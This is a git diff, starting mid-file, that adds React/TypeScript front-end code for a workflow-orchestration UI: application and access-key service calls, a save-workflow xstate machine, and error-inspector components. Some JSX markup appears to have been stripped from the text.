(error: any) { + const errorMessage = await getErrorMessage(error); + return { + success: false, + message: errorMessage ?? "Failed to create application", + }; + } +}; + +export const updateApplication = async ( + context: WorkflowMetadataMachineContext, +) => { + const { authHeaders } = context; + const appCreateResponse = await createApplication(context); + const { id } = appCreateResponse; + + const path = `/applications/${id}/roles/UNRESTRICTED_WORKER`; + + try { + await fetchWithContext( + path, + {}, + { + method: "POST", + headers: { + "Content-Type": "application/json", + ...authHeaders, + }, + }, + ); + return appCreateResponse; + } catch (error: any) { + const errorMessage = await getErrorMessage(error); + return { + success: false, + message: errorMessage ?? "Failed to create application", + }; + } +}; + +export const generateKeys = async (context: WorkflowMetadataMachineContext) => { + const { authHeaders } = context; + const genApp = await updateApplication(context); + const { id } = genApp; + const path = `/applications/${id}/accessKeys`; + try { + return await fetchWithContext( + path, + {}, + { method: "POST", headers: { ...authHeaders } }, + ); + } catch (error: any) { + const errorMessage = await getErrorMessage(error); + return { + success: false, + message: errorMessage ?? "Failed to generate keys", + }; + } +}; diff --git a/ui-next/src/pages/definition/WorkflowMetadata/state/types.ts b/ui-next/src/pages/definition/WorkflowMetadata/state/types.ts new file mode 100644 index 0000000..a1e9359 --- /dev/null +++ b/ui-next/src/pages/definition/WorkflowMetadata/state/types.ts @@ -0,0 +1,69 @@ +import { WorkflowDef, WorkflowMetadataI } from "types/WorkflowDef"; +import { ActorRef } from "xstate"; +import { EditInPlaceMachineEvents } from "../EditInPlaceWrapper/state/types"; +import { UseLocalCopyChangesEvent } from "../../ConfirmLocalCopyDialog/state/types"; +import { AuthHeaders } from "types/common"; + +export interface AccessKey { + id: string; + secret: string; +} + +export enum WorkflowMetadataMachineEventTypes { + UPDATE_METADATA = "UPDATE_METADATA", + WORKFLOW_CHANGED = "WORKFLOW_CHANGED", + DISABLE_EDITING = "DISABLE_EDITING", + ENABLE_EDITING = "ENABLE_EDITING", + FORCE_WORKFLOW = "FORCE_WORKFLOW", + CREATE_APPLICATION = "CREATE_APPLICATION", + CLOSE_KEYS_DIALOG = "CLOSE_KEYS_DIALOG", +} + +export interface WorkflowMetadataMachineContext { + metadataChanges: Partial; + editableFields: string[]; + editableFieldActors: ActorRef[]; + childActorsMachineName: "editInPlaceMachine" | "metadataFieldMachine"; + authHeaders?: AuthHeaders; + applicationAccessKey?: AccessKey; +} + +export type UpdateMetaDataEvent = { + type: WorkflowMetadataMachineEventTypes.UPDATE_METADATA; + metadataChanges: Partial; +}; + +export type WorkflowChangedEvent = { + type: WorkflowMetadataMachineEventTypes.WORKFLOW_CHANGED; + workflow: Partial; +}; + +export type ForceWorkflowEvent = { + type: WorkflowMetadataMachineEventTypes.FORCE_WORKFLOW; + workflow: Partial; +}; + +export type DisableEditingEvent = { + type: WorkflowMetadataMachineEventTypes.DISABLE_EDITING; +}; + +export type EnableEditingEvent = { + type: WorkflowMetadataMachineEventTypes.ENABLE_EDITING; +}; + +export type CreateApplicationEvent = { + type: WorkflowMetadataMachineEventTypes.CREATE_APPLICATION; +}; + +export type CloseKeysDialogEvent = { + type: WorkflowMetadataMachineEventTypes.CLOSE_KEYS_DIALOG; +}; +export type WorkflowMetadataEvents = + | UpdateMetaDataEvent + | WorkflowChangedEvent + | EnableEditingEvent + | ForceWorkflowEvent + | DisableEditingEvent + | UseLocalCopyChangesEvent + | CreateApplicationEvent + | CloseKeysDialogEvent; diff --git a/ui-next/src/pages/definition/commonService.ts b/ui-next/src/pages/definition/commonService.ts new file mode 100644 index 0000000..cfa0b20 --- /dev/null +++ b/ui-next/src/pages/definition/commonService.ts @@ -0,0 +1,75 @@ +import { fetchContextNonHook, fetchWithContext } from "plugins/fetch"; +import { HasAuthHeaders } from "types/common"; +import type { EnvironmentVariables } from "types/EnvVariables"; +import { FEATURES, featureFlags } from "utils/flags"; +import { AUTH_HEADER_NAME, logger } from "utils"; +import { + WORKFLOW_METADATA_BASE_URL, + WORKFLOW_METADATA_SHORT_URL, +} from "utils/constants/api"; +import { queryClient } from "../../queryClient"; + +const fetchContext = fetchContextNonHook(); + +export const refetchAllWorkflowDefinitions = async ({ + authHeaders: headers, +}: HasAuthHeaders) => { + try { + const response = await queryClient.fetchQuery( + [fetchContext.stack, WORKFLOW_METADATA_SHORT_URL], + () => + fetchWithContext(WORKFLOW_METADATA_SHORT_URL, fetchContext, { + headers, + }), + ); + return response; + } catch { + logger.error("Refetching for workflow definitions"); + return Promise.reject({ text: "Unable to fetch for definitions" }); + } +}; + +export const getWorkflowDefinitionByNameAndVersion = async ({ + name, + version, + authHeaders: headers, +}: { + name: string; + version: number; + authHeaders: { [AUTH_HEADER_NAME]?: string }; +}) => { + try { + const path = `${WORKFLOW_METADATA_BASE_URL}/${encodeURIComponent( + name, + )}?version=${version}`; + + return await queryClient.fetchQuery([fetchContext.stack, path], () => + fetchWithContext(path, fetchContext, { headers }), + ); + } catch { + logger.error("Re-fetching for workflow definition by name and version"); + return Promise.reject({ text: "Unable to fetch for definition" }); + } +}; + +export const getEnvVariables = async ({ + authHeaders: headers, +}: HasAuthHeaders): Promise> => { + // OSS: `INTEGRATIONS: false` in public/context.js — no hosted /environment API. + if (!featureFlags.isEnabled(FEATURES.INTEGRATIONS)) { + return {}; + } + const url = `/environment`; + try { + const result: EnvironmentVariables[] = await queryClient.fetchQuery( + [fetchContext.stack, url], + () => fetchWithContext(url, fetchContext, { headers }), + ); + return result.reduce( + (acc, { name, value }) => ({ ...acc, [name]: value }), + {}, + ); + } catch { + return {}; + } +}; diff --git a/ui-next/src/pages/definition/confirmSave/ConfirmSaveButtonGroup.tsx b/ui-next/src/pages/definition/confirmSave/ConfirmSaveButtonGroup.tsx new file mode 100644 index 0000000..63f4524 --- /dev/null +++ b/ui-next/src/pages/definition/confirmSave/ConfirmSaveButtonGroup.tsx @@ -0,0 +1,99 @@ +import Stack from "@mui/material/Stack"; +import { useActor, useSelector } from "@xstate/react"; +import { FunctionComponent } from "react"; +import { ActorRef } from "xstate"; + +import CircularProgress from "@mui/material/CircularProgress"; +import { ButtonTooltip } from "components/ui/buttons/ButtonTooltip"; +import SaveIcon from "components/icons/SaveIcon"; +import XCloseIcon from "components/icons/XCloseIcon"; +import { SaveWorkflowEvents, SaveWorkflowMachineEventTypes } from "./state"; +import { useHotkeys } from "react-hotkeys-hook"; +import { Key } from "ts-key-enum"; +import { HOT_KEYS_WORKFLOW_DEFINITION } from "utils/constants/common"; + +interface ConfirmSaveButtonGroupProps { + saveChangesActor: ActorRef; +} + +export const ConfirmSaveButtonGroup: FunctionComponent< + ConfirmSaveButtonGroupProps +> = ({ saveChangesActor }) => { + const [, send] = useActor(saveChangesActor); + + const handleConfirmSaveRequest = () => { + send({ type: SaveWorkflowMachineEventTypes.CONFIRM_SAVE_EVT }); + }; + const handleCancelRequest = () => { + send({ type: SaveWorkflowMachineEventTypes.CANCEL_SAVE_EVT }); + }; + const isSaving = useSelector( + saveChangesActor, + (state) => + state.matches("createWorkflow") || + state.matches("updateWorkflow") || + state.matches("refetchWorkflowDefinitions"), + ); + + // Hotkeys to confirm saving workflow + useHotkeys( + Key.Enter, + (keyboardEvent) => { + keyboardEvent.preventDefault(); + handleConfirmSaveRequest(); + }, + { + scopes: HOT_KEYS_WORKFLOW_DEFINITION, + enableOnFormTags: ["INPUT", "TEXTAREA", "SELECT"], + }, + ); + + // Hotkeys to cancel saving workflow + useHotkeys( + Key.Escape, + (keyboardEvent) => { + keyboardEvent.preventDefault(); + handleCancelRequest(); + }, + { + scopes: HOT_KEYS_WORKFLOW_DEFINITION, + enableOnFormTags: ["INPUT", "TEXTAREA", "SELECT"], + }, + ); + + return ( + + } + > + Cancel + + + } + > + {isSaving ? ( + <> + Saving + + + ) : ( + "Confirm" + )} + + + ); +}; diff --git a/ui-next/src/pages/definition/confirmSave/ConfirmSaveDiffEditor.tsx b/ui-next/src/pages/definition/confirmSave/ConfirmSaveDiffEditor.tsx new file mode 100644 index 0000000..bdb3fb7 --- /dev/null +++ b/ui-next/src/pages/definition/confirmSave/ConfirmSaveDiffEditor.tsx @@ -0,0 +1,73 @@ +import { FunctionComponent, useRef } from "react"; +import { Box } from "@mui/material"; +import { ActorRef } from "xstate"; +import { DiffOnMount, MonacoDiffEditor } from "@monaco-editor/react"; +import { useActor, useSelector } from "@xstate/react"; +import { SaveWorkflowEvents, SaveWorkflowMachineEventTypes } from "./state"; +import { DiffEditor } from "components/ui/DiffEditor"; + +interface ConfirmSaveDiffEditorProps { + saveChangesActor: ActorRef; + editorTheme: string; + editorState: { + editorOptions: Record; + }; +} + +export const ConfirmSaveDiffEditor: FunctionComponent< + ConfirmSaveDiffEditorProps +> = ({ saveChangesActor, editorTheme, editorState }) => { + const diffMonacoObjects = useRef(null); + const [, send] = useActor(saveChangesActor); + + const handleEditChanges = (changes: string) => + send({ type: SaveWorkflowMachineEventTypes.EDIT_DEBOUNCE_EVT, changes }); + + const isNewWorkflow = useSelector( + saveChangesActor, + (state) => state.context.isNewWorkflow, + ); + const editorChanges = useSelector( + saveChangesActor, + (state) => state.context.editorChanges, + ); + const oldWorkflow = useSelector(saveChangesActor, (state) => + JSON.stringify(state.context.currentWf, null, 2), + ); + + const diffEditorDidMount: DiffOnMount = (editor) => { + diffMonacoObjects.current = editor; + const modifiedEditor = editor.getModifiedEditor(); + modifiedEditor.onDidChangeModelContent((_: any) => { + const maybeText = modifiedEditor.getValue(); + if (typeof maybeText === "string") { + handleEditChanges(maybeText); + } + }); + }; + + return ( + + + + ); +}; diff --git a/ui-next/src/pages/definition/confirmSave/ConfirmWorkflowOverride.tsx b/ui-next/src/pages/definition/confirmSave/ConfirmWorkflowOverride.tsx new file mode 100644 index 0000000..bad3647 --- /dev/null +++ b/ui-next/src/pages/definition/confirmSave/ConfirmWorkflowOverride.tsx @@ -0,0 +1,72 @@ +import { useCallback, FunctionComponent } from "react"; +import { useSelector, useActor } from "@xstate/react"; +import { ActorRef } from "xstate"; +import ConfirmChoiceDialog from "components/ui/dialogs/ConfirmChoiceDialog"; +import { SaveWorkflowEvents, SaveWorkflowMachineEventTypes } from "./state"; +import { Typography } from "components/index"; +import { tryToJson } from "utils/utils"; +import { WorkflowDef } from "types/WorkflowDef"; + +interface ConfirmWorkflowOverrideProps { + saveChangesActor: ActorRef; +} + +export const ConfirmWorkflowOverride: FunctionComponent< + ConfirmWorkflowOverrideProps +> = ({ saveChangesActor }) => { + const [, send] = useActor(saveChangesActor); + const isPromptOverride = useSelector(saveChangesActor, (state) => + state.matches("confirmOverride"), + ); + + const editorChanges = useSelector( + saveChangesActor, + (state) => tryToJson(state.context.editorChanges) as WorkflowDef, + ); + + const handleConfirmOverride = useCallback( + (val: boolean) => + send({ + type: val + ? SaveWorkflowMachineEventTypes.CONFIRM_OVERRIDE_EVT + : SaveWorkflowMachineEventTypes.CANCEL_SAVE_EVT, + } as SaveWorkflowEvents), + [send], + ); + + return isPromptOverride ? ( + + + There seems to be workflow with same name and version. + + + Should we override  + + {editorChanges?.name} + +  ? This cannot be undone. + + + + Please type  + + {editorChanges?.name} + +  to confirm. + + + } + header="Override ?" + isInputConfirmation + valueToBeDeleted={editorChanges?.name} + /> + ) : null; +}; diff --git a/ui-next/src/pages/definition/confirmSave/index.ts b/ui-next/src/pages/definition/confirmSave/index.ts new file mode 100644 index 0000000..67d2d39 --- /dev/null +++ b/ui-next/src/pages/definition/confirmSave/index.ts @@ -0,0 +1,3 @@ +export * from "./ConfirmSaveButtonGroup"; +export * from "./ConfirmSaveDiffEditor"; +export * from "./ConfirmWorkflowOverride"; diff --git a/ui-next/src/pages/definition/confirmSave/state/actions.ts b/ui-next/src/pages/definition/confirmSave/state/actions.ts new file mode 100644 index 0000000..705f1c7 --- /dev/null +++ b/ui-next/src/pages/definition/confirmSave/state/actions.ts @@ -0,0 +1,130 @@ +import _maxBy from "lodash/maxBy"; +import { WorkflowDef } from "types/WorkflowDef"; +import { logger, tryToJson } from "utils"; +import { ActorRef, assign, DoneInvokeEvent, sendParent } from "xstate"; +import { cancel, raise, sendTo } from "xstate/lib/actions"; +import { + ErrorInspectorEventTypes, + ErrorInspectorMachineEvents, +} from "../../errorInspector/state"; +import { + EditEvent, + SaveWorkflowMachineContext, + SaveWorkflowMachineEventTypes, +} from "./types"; + +export const editChanges = assign({ + editorChanges: (_context, { changes }) => changes, +}); + +export const debounceEditEvent = raise( + (__, { changes }) => ({ + type: SaveWorkflowMachineEventTypes.EDIT_EVT, + changes, + }), + { delay: 300, id: "debounce_edit_event" }, +); + +export const cancelDebounceEditChanges = cancel("debounce_edit_event"); + +export const updateWorkflowVersionAndName = assign( + ({ editorChanges }) => { + const workflowJson = tryToJson<{ name: string; version: number }>( + editorChanges, + ); + return { + currentVersion: workflowJson?.version, + workflowName: workflowJson?.name, + }; + }, +); + +export const reportServerErrors = sendTo< + SaveWorkflowMachineContext, + DoneInvokeEvent<{ + text: string; + validationErrors: { message?: string; path?: string }[]; + }>, + ActorRef +>( + ({ errorInspectorMachine }) => errorInspectorMachine!, + (__, { data }) => { + return { + type: ErrorInspectorEventTypes.REPORT_SERVER_ERROR, + text: data.text, + validationErrors: data?.validationErrors, + }; + }, +); + +export const cleanServerErrors = sendTo< + SaveWorkflowMachineContext, + DoneInvokeEvent<{ text: string }>, + ActorRef +>( + ({ errorInspectorMachine }) => errorInspectorMachine!, + (__context, _event) => { + return { + type: ErrorInspectorEventTypes.CLEAN_SERVER_ERRORS, + }; + }, +); + +export const sendSuccessSave = sendParent( + (context) => { + return { + type: SaveWorkflowMachineEventTypes.SAVED_SUCCESSFUL, + workflow: tryToJson(context.editorChanges), // TODO send to errorInspector instead. + isNewWorkflow: false, + workflowName: context.workflowName, + currentVersion: context.currentVersion, + isContinueCreate: context.isContinueCreate, + }; + }, +); + +export const sendCancelSave = sendParent( + (context) => { + try { + const workflow = JSON.parse(context.editorChanges); + + return { + type: SaveWorkflowMachineEventTypes.SAVED_CANCELLED, + workflow, + isNewWorkflow: context.isNewWorkflow, + }; + } catch { + logger.info("Can't parse the json. so returning undefined"); + return { + type: SaveWorkflowMachineEventTypes.SAVED_CANCELLED, + workflow: undefined, + isNewWorkflow: context.isNewWorkflow, + }; + } + }, +); + +export const checkForErrorsInWorkflow = sendTo< + SaveWorkflowMachineContext, + any, + ActorRef +>( + ({ errorInspectorMachine }) => errorInspectorMachine!, + ({ editorChanges }) => ({ + type: ErrorInspectorEventTypes.VALIDATE_WORKFLOW_STRING, + workflowChanges: editorChanges, + }), +); + +export const grabLastVersionAndPersistAsNew = assign< + SaveWorkflowMachineContext, + DoneInvokeEvent> +>({ + currentVersion: (context, { data }) => { + if (data && data.length > 0) { + const latestVersion = _maxBy(data, "version")?.version; + return latestVersion ? latestVersion : context.currentVersion; + } + return context.currentVersion; + }, +}); diff --git a/ui-next/src/pages/definition/confirmSave/state/guards.ts b/ui-next/src/pages/definition/confirmSave/state/guards.ts new file mode 100644 index 0000000..5cce912 --- /dev/null +++ b/ui-next/src/pages/definition/confirmSave/state/guards.ts @@ -0,0 +1,42 @@ +import { logger } from "utils"; +import { DoneInvokeEvent } from "xstate"; +import { SaveWorkflowMachineContext } from "./types"; + +const maybeWorkflowName = (workflowAsString: string): string | null => { + try { + const wf = JSON.parse(workflowAsString); + const { name = null } = wf; + return name; + } catch { + logger.debug("Editor changes is not parsable"); + } + return null; +}; +const maybeWorkflowVersion = (workflowAsString: string): number | null => { + try { + const wf = JSON.parse(workflowAsString); + const { version = null } = wf; + return version; + } catch { + logger.debug("Editor changes is not parsable"); + } + return null; +}; + +export const isNewOrNameChanged = ({ + isNewWorkflow, + currentWf, + editorChanges, +}: SaveWorkflowMachineContext) => + isNewWorkflow || + maybeWorkflowName(editorChanges) !== currentWf.name || + maybeWorkflowVersion(editorChanges) !== currentWf.version; + +export const returnedConflict = ( + _context: SaveWorkflowMachineContext, + { data }: DoneInvokeEvent<{ status: number }>, +) => data.status === 409; + +export const isNewVersion = (_context: SaveWorkflowMachineContext) => { + return _context.isNewVersion; +}; diff --git a/ui-next/src/pages/definition/confirmSave/state/index.ts b/ui-next/src/pages/definition/confirmSave/state/index.ts new file mode 100644 index 0000000..79fd822 --- /dev/null +++ b/ui-next/src/pages/definition/confirmSave/state/index.ts @@ -0,0 +1,2 @@ +export * from "./machine"; +export * from "./types"; diff --git a/ui-next/src/pages/definition/confirmSave/state/machine.ts b/ui-next/src/pages/definition/confirmSave/state/machine.ts new file mode 100644 index 0000000..f8968ac --- /dev/null +++ b/ui-next/src/pages/definition/confirmSave/state/machine.ts @@ -0,0 +1,141 @@ +import { createMachine } from "xstate"; +import { + SaveWorkflowMachineEventTypes, + SaveWorkflowEvents, + SaveWorkflowMachineContext, +} from "./types"; + +import * as actions from "./actions"; +import * as guards from "./guards"; +import * as services from "./services"; + +export const saveMachine = createMachine< + SaveWorkflowMachineContext, + SaveWorkflowEvents +>( + { + id: "saveWorkflowMachine", + predictableActionArguments: true, + initial: "confirmSave", + context: { + currentWf: {}, + editorChanges: "", + isNewWorkflow: false, + workflowName: "", + errorInspectorMachine: undefined, + authHeaders: {}, + currentVersion: 1, + isNewVersion: undefined, + isContinueCreate: undefined, + }, + states: { + confirmSave: { + on: { + [SaveWorkflowMachineEventTypes.CONFIRM_SAVE_EVT]: [ + { target: "removeWorkflowFromStorage", cond: "isNewOrNameChanged" }, + { target: "updateWorkflow" }, + ], + [SaveWorkflowMachineEventTypes.CANCEL_SAVE_EVT]: { + target: "savedCancelled", + }, + [SaveWorkflowMachineEventTypes.EDIT_EVT]: { + actions: ["editChanges", "checkForErrorsInWorkflow"], + }, + [SaveWorkflowMachineEventTypes.EDIT_DEBOUNCE_EVT]: { + actions: ["cancelDebounceEditChanges", "debounceEditEvent"], + }, + }, + }, + confirmOverride: { + on: { + [SaveWorkflowMachineEventTypes.CONFIRM_OVERRIDE_EVT]: { + target: "updateWorkflow", + }, + [SaveWorkflowMachineEventTypes.CANCEL_SAVE_EVT]: { + target: "savedCancelled", + }, + }, + }, + createWorkflow: { + invoke: [ + { + src: "createWorkflow", + id: "create-workflow", + onDone: { + actions: ["updateWorkflowVersionAndName"], + target: "refetchWorkflowDefinitions", + }, + onError: [ + { + target: "confirmOverride", + cond: "returnedConflict", + }, + { target: "savedCancelled", actions: ["reportServerErrors"] }, + ], + }, + ], + }, + updateWorkflow: { + invoke: { + src: "updateWorkflow", + id: "update-workflow", + onDone: { + actions: ["updateWorkflowVersionAndName"], + target: "refetchWorkflowDefinitions", + }, + onError: { target: "savedCancelled", actions: "reportServerErrors" }, + }, + }, + removeWorkflowFromStorage: { + invoke: { + src: "removeCopyFromStorage", + onDone: { + target: "createWorkflow", + }, + }, + }, + cleanWorkflowFromStorageAndExit: { + invoke: { + src: "removeCopyFromStorage", + onDone: { + target: "done", + }, + }, + }, + refetchWorkflowDefinitions: { + invoke: { + src: "refetchAllDefinitionsOfCurrentWorkflow", + id: "refetch-all-wf-definitions-of-current-wf", + onError: { target: "confirmSave", actions: "reportServerErrors" }, + onDone: [ + { + cond: "isNewVersion", + actions: [ + "grabLastVersionAndPersistAsNew", + "sendSuccessSave", + "cleanServerErrors", + ], + target: "cleanWorkflowFromStorageAndExit", + }, + { + actions: ["sendSuccessSave", "cleanServerErrors"], + target: "cleanWorkflowFromStorageAndExit", + }, + ], + }, + }, + done: { + type: "final", + }, + savedCancelled: { + entry: "sendCancelSave", + type: "final", + }, + }, + }, + { + actions: actions as any, + guards: guards as any, + services, + }, +); diff --git a/ui-next/src/pages/definition/confirmSave/state/services.ts b/ui-next/src/pages/definition/confirmSave/state/services.ts new file mode 100644 index 0000000..d9d9f73 --- /dev/null +++ b/ui-next/src/pages/definition/confirmSave/state/services.ts @@ -0,0 +1,87 @@ +import { removeCopyFromStorage } from "pages/definition/ConfirmLocalCopyDialog/state"; +import { fetchWithContext } from "plugins/fetch"; +import { WorkflowDef } from "types/WorkflowDef"; +import { SaveWorkflowMachineContext } from "./types"; + +export { removeCopyFromStorage }; + +export const createWorkflow = async ( + { editorChanges, authHeaders }: SaveWorkflowMachineContext, + __: any, +) => { + try { + return await fetchWithContext( + "/metadata/workflow", + {}, + { + method: "POST", + headers: { + "Content-Type": "application/json", + ...authHeaders, + }, + + body: editorChanges, + }, + ); + } catch (error: any) { + const errorBody = await error.json(); + return Promise.reject({ + text: errorBody.message, + severity: "error", + status: errorBody.status, + validationErrors: errorBody?.validationErrors, + }); + } +}; + +export const updateWorkflow = async ( + { editorChanges, authHeaders, isNewVersion }: SaveWorkflowMachineContext, + __: any, +) => { + const queryParams = isNewVersion ? "?newVersion=true" : ""; + try { + return await fetchWithContext( + `/metadata/workflow${queryParams}`, + {}, + { + method: "PUT", + headers: { + "Content-Type": "application/json", + ...authHeaders, + }, + body: `[${editorChanges}]`, + }, + ); + } catch (error: any) { + const errorBody = await error.json(); + return Promise.reject({ + text: errorBody.message, + severity: "error", + status: errorBody.status, + validationErrors: errorBody?.validationErrors, + }); + } +}; + +export const refetchAllDefinitionsOfCurrentWorkflow = async ({ + authHeaders: headers, + workflowName, +}: SaveWorkflowMachineContext) => { + const url = `/metadata/workflow?name=${encodeURIComponent(workflowName)}`; + try { + const result: WorkflowDef[] = await fetchWithContext( + url, + {}, + { + method: "GET", + headers: { + "Content-Type": "application/json", + ...headers, + }, + }, + ); + return result; + } catch { + return {}; + } +}; diff --git a/ui-next/src/pages/definition/confirmSave/state/types.ts b/ui-next/src/pages/definition/confirmSave/state/types.ts new file mode 100644 index 0000000..869d1f4 --- /dev/null +++ b/ui-next/src/pages/definition/confirmSave/state/types.ts @@ -0,0 +1,69 @@ +import { ActorRef, DoneInvokeEvent } from "xstate"; +import { ErrorInspectorMachineEvents } from "../../errorInspector/state/types"; +import { WorkflowDef } from "types/WorkflowDef"; + +export enum SaveWorkflowMachineEventTypes { + CONFIRM_SAVE_EVT = "CONFIRM_SAVE", + CANCEL_SAVE_EVT = "CANCEL_SAVE", + EDIT_EVT = "EDIT_EVT", + EDIT_DEBOUNCE_EVT = "CANCEL_DEBOUNCE", + CONFIRM_OVERRIDE_EVT = "CONFIRM_OVERRIDE_EVT", + + SAVED_SUCCESSFUL = "SAVED_SUCCESSFUL", + SAVED_CANCELLED = "SAVED_CANCELLED", +} + +export type ConfirmSaveEvent = { + type: SaveWorkflowMachineEventTypes.CONFIRM_SAVE_EVT; +}; + +export type CancelSaveEvent = { + type: SaveWorkflowMachineEventTypes.CANCEL_SAVE_EVT; +}; + +export type EditEvent = { + type: SaveWorkflowMachineEventTypes.EDIT_EVT; + changes: string; +}; + +export type EditDebounceEvent = { + type: SaveWorkflowMachineEventTypes.EDIT_DEBOUNCE_EVT; + changes: string; +}; + +export type ConfirmOverrideEvent = { + type: SaveWorkflowMachineEventTypes.CONFIRM_OVERRIDE_EVT; +}; + +export type SavedSuccessfulEvent = { + type: SaveWorkflowMachineEventTypes.SAVED_SUCCESSFUL; + workflow: Partial; + isNewWorkflow: boolean; + workflowName: string; + currentVersion: number; +}; + +export type SavedCancelledEvent = { + type: SaveWorkflowMachineEventTypes.SAVED_CANCELLED; + workflowChanges?: Partial; +}; + +export type SaveWorkflowEvents = + | ConfirmSaveEvent + | CancelSaveEvent + | EditEvent + | EditDebounceEvent + | DoneInvokeEvent + | ConfirmOverrideEvent; + +export interface SaveWorkflowMachineContext { + currentWf: Partial; + editorChanges: string; + isNewWorkflow: boolean; + workflowName: string; + authHeaders: Record; + currentVersion: number; + errorInspectorMachine?: ActorRef; + isNewVersion?: boolean; + isContinueCreate?: boolean; +} diff --git a/ui-next/src/pages/definition/errorInspector/AccordionErrorSummary.tsx b/ui-next/src/pages/definition/errorInspector/AccordionErrorSummary.tsx new file mode 100644 index 0000000..a84bdd4 --- /dev/null +++ b/ui-next/src/pages/definition/errorInspector/AccordionErrorSummary.tsx @@ -0,0 +1,84 @@ +import { FunctionComponent } from "react"; +import AccordionSummary from "@mui/material/AccordionSummary"; +import { Box, Chip, Stack } from "@mui/material"; +import { CaretRight, CaretDown } from "@phosphor-icons/react"; +import MuiTypography from "components/ui/MuiTypography"; + +interface AccordionErrorSummaryProps { + title: string; + expanded: boolean; + count?: number; +} + +export const AccordionErrorSummary: FunctionComponent< + AccordionErrorSummaryProps +> = ({ title, expanded, count }) => ( + + + {expanded ? ( + + ) : ( + + )} + + + {title} + + {count !== undefined && ( + 1 ? "s" : ""}`} + size="small" + sx={{ + backgroundColor: + title === "Workflow errors" ? "#f44336" : "#ff9800", + color: "white", + fontSize: "0.7rem", + height: 20, + fontWeight: 500, + }} + /> + )} + + + +); diff --git a/ui-next/src/pages/definition/errorInspector/ErrorInspector.tsx b/ui-next/src/pages/definition/errorInspector/ErrorInspector.tsx new file mode 100644 index 0000000..3ade966 --- /dev/null +++ b/ui-next/src/pages/definition/errorInspector/ErrorInspector.tsx @@ -0,0 +1,269 @@ +import { Box } from "@mui/material"; +import { CaretUp, Info, WarningCircle, XCircle } from "@phosphor-icons/react"; +import { useMemo } from "react"; +import { ActorRef } from "xstate"; +import ImportSummaryComponent from "./ImportSummary"; +import { ServerErrorsDisplayer } from "./ServerErrorDisplayer"; +import { useErrorInspectorActor } from "./state/hook"; +import { ErrorInspectorMachineEvents } from "./state/types"; +import { TaskErrorsDisplayer } from "./TaskErrorsDisplayer"; +import { WorkflowErrorsDisplayer } from "./WorkflowErrorDisplayer"; + +interface ErrorInspectorProps { + errorInspectorActor: ActorRef; +} + +const ErrorInspector = ({ errorInspectorActor }: ErrorInspectorProps) => { + const [ + { + workflowErrors, + taskErrors, + unreachableTaskErrors, + serverErrors, + errorCount, + taskErrorsExpanded, + workflowErrorsExpanded, + referenceTaskErrorsExpanded, + referenceWorkflowErrorsExpanded, + taskReferenceErrors, + workflowReferenceErrors, + warningCount, + expanded, + tasks, + runWorkflowErrors, + }, + { + handleToggleTaskErrors, + handleToggleWorkflowErrors, + handleCleanServerErrors, + handleToggleTaskReferenceErrors, + handleToggleWorkflowReferenceErrors, + handleClickReference, + handleToggleErrorInspector, + handleJumpToFirstError, + }, + ] = useErrorInspectorActor(errorInspectorActor); + const [statusIcon, barBackgroundColor, problemCount] = useMemo(() => { + const problemCount = errorCount + warningCount; + if (errorCount > 0) { + return [, "#880000", problemCount]; + } + if (warningCount > 0) { + return [ + , + "#c69035", + problemCount, + ]; + } + return [ + , + "#9FDCAA", + problemCount, + ]; + }, [errorCount, warningCount]); + + const handleOnClickReference = (data: string) => { + handleClickReference!(data); + }; + + const textColor = () => { + if (problemCount) { + return "#FFFFFF"; + } + return "#100524"; + }; + const problemLabel = useMemo(() => { + if (problemCount === warningCount) { + return `${problemCount} ${ + warningCount === 1 ? "warning" : "warnings" + } found.`; + } + return `${problemCount} ${ + problemCount === 1 ? "problem" : "problems" + } found.`; + }, [problemCount, warningCount]); + return ( + + + + {/* Left side - Status and message */} + + + {statusIcon} + + + {problemLabel} + + + + {/* Right side - Toggle button */} + + + + + + {expanded ? ( + + + {serverErrors.length > 0 ? ( + handleCleanServerErrors!()} + serverErrors={serverErrors} + onClickReference={handleOnClickReference} + tasks={tasks} + /> + ) : null} + {runWorkflowErrors.length > 0 ? ( + handleCleanServerErrors!()} + serverErrors={runWorkflowErrors} + onClickReference={handleOnClickReference} + tasks={tasks} + /> + ) : null} + {taskErrors.length > 0 ? ( + handleToggleTaskErrors!()} + expanded={taskErrorsExpanded} + /> + ) : null} + {workflowErrors.length > 0 ? ( + handleToggleWorkflowErrors!()} + workflowErrors={workflowErrors} + onClickReference={() => handleJumpToFirstError()} + /> + ) : null} + {unreachableTaskErrors.length > 0 ? ( + handleToggleTaskReferenceErrors!()} + onClickReference={handleOnClickReference} + /> + ) : null} + {taskReferenceErrors.length > 0 ? ( + handleToggleTaskReferenceErrors!()} + title="Task missing references" + onClickReference={handleOnClickReference} + /> + ) : null} + {workflowReferenceErrors.length > 0 ? ( + handleToggleWorkflowReferenceErrors!()} + workflowErrors={workflowReferenceErrors} + title="Workflow missing references" + onClickReference={handleOnClickReference} + /> + ) : null} + + ) : null} + + ); +}; + +export default ErrorInspector; diff --git a/ui-next/src/pages/definition/errorInspector/ImportSummary.tsx b/ui-next/src/pages/definition/errorInspector/ImportSummary.tsx new file mode 100644 index 0000000..720535c --- /dev/null +++ b/ui-next/src/pages/definition/errorInspector/ImportSummary.tsx @@ -0,0 +1,64 @@ +import { Stack, Typography, List, ListItem } from "@mui/material"; +import { ErrorInspectorMachineEvents } from "./state"; +import { ActorRef } from "xstate"; +import { useSelector } from "@xstate/react"; + +const ImportSummaryComponent = ({ + errorInspectorActor, +}: { + errorInspectorActor: ActorRef; +}) => { + const importSummary = useSelector( + errorInspectorActor, + (state) => state.context.importSummary, + ); + return importSummary == null ? null : ( + + Successfully imported + + {importSummary?.workflowResponse.length > 0 && ( + + + ⚡ Workflows: {importSummary.workflowResponse.length} + + + )} + + {importSummary?.workflowResponse.length > 0 && ( + + + ⚙️ Tasks: {importSummary.workflowResponse.length} + + + )} + + {importSummary?.userFormsResponse.length > 0 && ( + + + 📝 User forms: {importSummary?.userFormsResponse.length} + + + )} + + {importSummary?.schemasResponse.length > 0 && ( + + + 📋 Schemas: {importSummary?.schemasResponse.length} + + + )} + + {importSummary?.integrationsAndModelsResponse.length > 0 && ( + + + 🔌 Integrations:{" "} + {importSummary?.integrationsAndModelsResponse.length} + + + )} + + + ); +}; + +export default ImportSummaryComponent; diff --git a/ui-next/src/pages/definition/errorInspector/ServerErrorDisplayer.tsx b/ui-next/src/pages/definition/errorInspector/ServerErrorDisplayer.tsx new file mode 100644 index 0000000..81f3eb9 --- /dev/null +++ b/ui-next/src/pages/definition/errorInspector/ServerErrorDisplayer.tsx @@ -0,0 +1,203 @@ +import { FunctionComponent } from "react"; +import { ErrorTypes, ValidationError } 